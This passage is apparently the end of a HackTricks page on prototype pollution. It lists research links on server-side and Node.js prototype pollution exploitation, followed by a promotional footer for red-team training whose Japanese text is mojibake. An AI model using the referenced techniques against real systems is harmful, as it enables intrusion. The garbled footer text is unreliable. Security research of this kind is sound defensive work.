- https://arxiv.org/pdf/2207.11171.pdf
- https://portswigger.net/research/prototype-pollution-node-no-filesystem
- https://www.nodejs-security.com/blog/2024/prototype-pollution-regression
- https://portswigger.net/research/server-side-prototype-pollution
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


